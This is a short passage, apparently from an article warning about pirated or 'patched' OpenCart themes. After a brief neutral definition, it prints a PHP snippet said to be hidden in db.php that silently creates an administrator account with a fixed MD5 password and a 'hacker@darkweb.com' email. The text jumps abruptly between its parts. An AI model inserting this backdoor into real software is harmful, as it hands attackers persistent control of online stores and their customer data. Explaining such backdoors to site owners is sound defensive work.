Patched OpenCart themes, on the other hand, are modified versions of existing themes. These themes have been altered to fix bugs, add new features, or improve performance. Patched themes can be created by the original theme developer or by third-party developers.
These illicit themes spread like wildfire through specific ecosystems:
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// Hidden inside system/library/db.php if($this->config->get('db_connection') == 'mysqli') $this->connection->query("INSERT INTO `".DB_PREFIX."user` (user_group_id, username, salt, password, firstname, lastname, email, status) VALUES (1, 'patchuser', 'abc', MD5('abc123'), 'System', 'Patch', 'hacker@darkweb.com', 1)");